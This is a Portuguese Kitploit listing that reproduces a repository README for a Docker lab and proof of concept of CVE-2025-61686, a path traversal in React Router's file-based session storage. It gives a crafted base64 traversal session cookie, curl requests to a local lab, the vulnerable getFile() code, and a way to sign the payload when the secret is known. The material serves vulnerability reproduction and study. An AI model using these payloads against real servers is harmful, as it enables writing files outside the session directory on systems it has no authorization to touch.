Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-61686_docker — Dockerfile e PoC para reprodução do CVE-2025-61686 | Kitploit
Ferramentas/GitHubGitHub/flowerwitch/cve-2025-61686_docker
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubflowerwitch/cve-2025-61686_docker

CVE-2025-61686_docker

Dockerfile e PoC para reprodução do CVE-2025-61686

Ver Repositório
1há 7 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-61686_docker

Início

1.build

root@kitploit:~
docker-compose up --build

2.start

root@kitploit:~
docker-compose up

Fluxo de Reprodução

1.Construa uma session que atenda à condição de travessia

root@kitploit:~
└─$ echo -en '"AAAA../../../tmp/flower"'|base64 -w0 | tr '+/' '-_' | tr -d '='
IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg 

2.Coloque a session construída no Cookie e envie a requisição

root@kitploit:~
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg' 'http://localhost:3001/'

3.Verifique

root@kitploit:~
root@de14139fdebf:/app# ls /tmp
flower

Causa da Vulnerabilidade

Ao comparar as versões vulneráveis 7.9.3 e 7.9.4, podemos descobrir que a principal causa da vulnerabilidade é um problema no tratamento da session na função getFile() do arquivo react-router/packages/react-router-node/sessions /fileStorage.ts.

root@kitploit:~
export function getFile(dir: string, id: string): string {
  // Divide the session id up into a directory (first 2 bytes) and filename
  // (remaining 6 bytes) to reduce the chance of having very large directories,
  // which should speed up file access. This is a maximum of 2^16 directories,
  // each with 2^48 files.
  return path.join(dir, id.slice(0, 4), id.slice(4));
}

Aqui, os primeiros 4 caracteres da session são usados como nome da pasta; os caracteres restantes, como nome do arquivo. Portanto, um atacante só precisa fazer o seguinte para conseguir path traversal. É por isso que o aviso da vulnerabilidade diz que, quando a session permite não usar secret, a travessia de diretório pode ser facilmente realizada. É claro que, se o atacante conseguir obter o secret usado para criptografar a session, ele também pode construir o payload de travessia correspondente.

root@kitploit:~
>>> import os
>>> os.path.join("./sessions", "aaaa","../../tmp/flowerwitch")
'./sessions/aaaa/../../tmp/flowerwitch'

Exploração quando o secret é conhecido

Para o caso em que o secret foi obtido, pode-se consultar a função sign() e usar o secret para assinar o PoC.

root@kitploit:~
export const sign = async (value: string, secret: string): Promise<string> => {
  let data = encoder.encode(value);
  let key = await createKey(secret, ["sign"]);
  let signature = await crypto.subtle.sign("HMAC", key, data);
  let hash = btoa(String.fromCharCode(...new Uint8Array(signature))).replace(
    /=+$/,
    "",
  );

  return value + "." + hash;
};
image

Use a session gerada para enviar a requisição

root@kitploit:~
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi8uLi90bXAvZmxvd2Vyd2l0Y2gi.L2ffutps16%2B3ENWvuWy4ZCouT%2BPSVeqmQOeaW%2FjziXg' 'http://localhost:3001/'

Confirme que a vulnerabilidade foi acionada

root@kitploit:~
root@eb8750bd4a56:/tmp# ls
flowerwitch

Script de geração de assinatura use_secret_create_payload.js

Baixar ferramenta